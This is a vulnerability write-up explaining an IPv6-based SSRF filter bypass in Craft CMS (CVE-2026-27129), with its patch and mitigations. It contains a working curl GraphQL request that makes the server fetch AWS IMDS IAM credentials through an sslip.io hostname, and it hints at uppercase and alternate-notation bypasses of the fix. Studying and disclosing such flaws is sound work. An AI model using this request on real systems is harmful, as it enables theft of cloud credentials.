Feb 24, 2026·6 min read·7 visits
Craft CMS failed to sanitize IPv6-only hostnames because PHP's `gethostbyname` doesn't resolve AAAA records. Attackers can use this to hit internal services (AWS IMDS, Loopback) by using domains that only resolve to IPv6, effectively bypassing the application's IPv4-centric allowlist/blocklist logic.
A sophisticated Server-Side Request Forgery (SSRF) bypass in Craft CMS leverages the often-overlooked disparity between legacy PHP networking functions and modern dual-stack infrastructure. By exploiting how `gethostbyname()` handles IPv6-only hostnames, attackers can bypass security filters intended to block internal access, directly targeting cloud metadata services like AWS IMDSv2 via their IPv6 endpoints.
In the world of web security, we often joke that developers are playing 4D chess while security engineers are stuck playing checkers. In the case of CVE-2026-27129, it's more like the developers were playing a game of "Go Fish" using a deck of cards from 1999. This vulnerability is a classic example of technical debt colliding with modern infrastructure. It's an SSRF (Server-Side Request Forgery) bypass that renders the previous security patch—CVE-2025-68437—completely moot.
Here is the setup: Craft CMS, a popular content management system, allows users to import assets from remote URLs via GraphQL mutations. Naturally, allowing a server to fetch arbitrary URLs is dangerous, so they implemented a blocklist to stop you from fetching localhost or 169.254.169.254 (the holy grail of cloud metadata). But here lies the rub: the internet is running out of IPv4 addresses, and the world is moving to IPv6. The code responsible for checking these URLs, however, was stuck in the IPv4 era.
This isn't just a simple input validation error; it is a fundamental misunderstanding of how PHP's standard library interacts with the underlying operating system's resolver. The vulnerability allows an authenticated attacker (or anyone with access to a misconfigured public GraphQL schema) to trick the server into thinking a malicious internal request is perfectly safe, simply by speaking a language the validator doesn't understand: IPv6.
To understand this exploit, you have to look at the specific PHP function Craft CMS was using to validate domains: gethostbyname(). If you check the PHP documentation, or if you've been coding since the LAMP stack was the new hotness, you know that gethostbyname() gets the IPv4 address corresponding to a given Internet host name.
Here is the logic flaw in pseudocode:
$ip = gethostbyname($hostname);
if (is_internal_ip($ip)) {
die("Hacking Attempt Detected!");
}
// Proceed to fetch contentThe catastrophic failure occurs when an attacker provides a hostname that only has an IPv6 (AAAA) record, and no IPv4 (A) record. When gethostbyname() sees a hostname it cannot resolve to an IPv4 address, it doesn't return false or throw an error. In a stroke of API design genius (read: sarcasm), it returns the original hostname string unmodified.
So, if I send fd00-ec2--254.sslip.io (which points to AWS's internal IPv6 metadata service), gethostbyname returns string "fd00-ec2--254.sslip.io". The validator checks this string against a list of banned IPs like 127.0.0.1. Since "fd00..." is not "127.0.0.1", the check passes. The application then hands this URL off to Guzzle (the HTTP client). Guzzle, being a modern and capable library, happily resolves the AAAA record and connects to the internal IPv6 address fd00:ec2::254. Checkmate.
Let's dissect the patch. The vulnerability existed because the validation relied on a function that was blind to half the internet. The fix, applied in commit 2825388b4f32fb1c9bd709027a1a1fd192d709a3, attempts to manually bolt on IPv6 awareness.
Here is the essence of the remediation:
// The new validation method added in the patch
private function validateIp(string $ip): bool {
// ... existing IPv4 checks ...
// The new IPv6 blocklist
$v6Prefixes = [
'fd00:ec2::', // AWS IMDS
'fd20:ce::', // GCP Metadata
'::1', // Localhost
'fe80:', // Link-local
'::ffff:', // IPv4-mapped
];
foreach ($v6Prefixes as $prefix) {
if (str_starts_with($ip, $prefix)) {
return false;
}
}
return true;
}> [!NOTE]
> Researcher's Critique: While this stops the immediate bleeding, using string manipulation (str_starts_with) to validate IP addresses is historically fragile. IP addresses have many valid string representations. For example, 0000::1 is the same as ::1, but str_starts_with($ip, '::1') might miss the former depending on normalization. Even worse, str_starts_with is case-sensitive. If an attacker sends FD00:EC2::... (uppercase), and the code checks against fd00:ec2:: (lowercase), they might walk right past the firewall again.
To exploit this, we don't need complex memory corruption or buffer overflows. We just need a DNS record and a GraphQL query. We will use sslip.io, a magic DNS service that resolves hostnames containing IP addresses to those specific IPs. Crucially, it supports dashed formats for IPv6.
The Setup:
We want to access the AWS Instance Metadata Service (IMDS). The IPv4 address is 169.254.169.254, which is blocked. But AWS also listens on [fd00:ec2::254].
The Attack Chain:
sslip.io that resolves only to the IPv6 address of the IMDS.
fd00:ec2::254fd00-ec2--254.sslip.iosave_photos_Asset mutation (or similar asset creation mutations) to tell Craft CMS to "download" an image from our malicious URL.curl -X POST https://target-cms.com/api/graphql \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"pwned.txt\" }) { id } }"
}'pwned.txt). We then simply request that file from the public asset URL to read the stolen AWS credentials.The remediation provided by Pixel & Tonic (the creators of Craft CMS) involves explicitly defining a list of dangerous IPv6 prefixes and checking the resolved host against them. This is available in versions 4.16.19 and 5.8.23.
However, software patches are often reactive. As a security practitioner, relying solely on the application layer to filter network traffic is asking for trouble. Developers will always miss an edge case (like ::ffff:169.254.169.254, an IPv4-mapped IPv6 address).
Defense in Depth Strategy:
iptables or cloud firewall rules (Security Groups) to drop all egress traffic to 169.254.169.254 and fd00:ec2::254.PUT request to retrieve a session token before data can be read. Most SSRF vulnerabilities (including this one) only allow GET or POST requests, meaning they cannot negotiate the token handshake required by IMDSv2.allowServerSideExcursions or similar settings depending on the plugin).CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Pixel & Tonic | >= 4.5.0-RC1, < 4.16.19 | 4.16.19 |
Craft CMS Pixel & Tonic | >= 5.0.0-RC1, < 5.8.23 | 5.8.23 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 |
| Attack Vector | Network (GraphQL) |
| CVSS v4.0 | 5.7 (Medium) |
| Impact | High (Confidentiality) |
| EPSS Score | 0.03% |
| Exploit Status | Proof of Concept |
Server-Side Request Forgery (SSRF)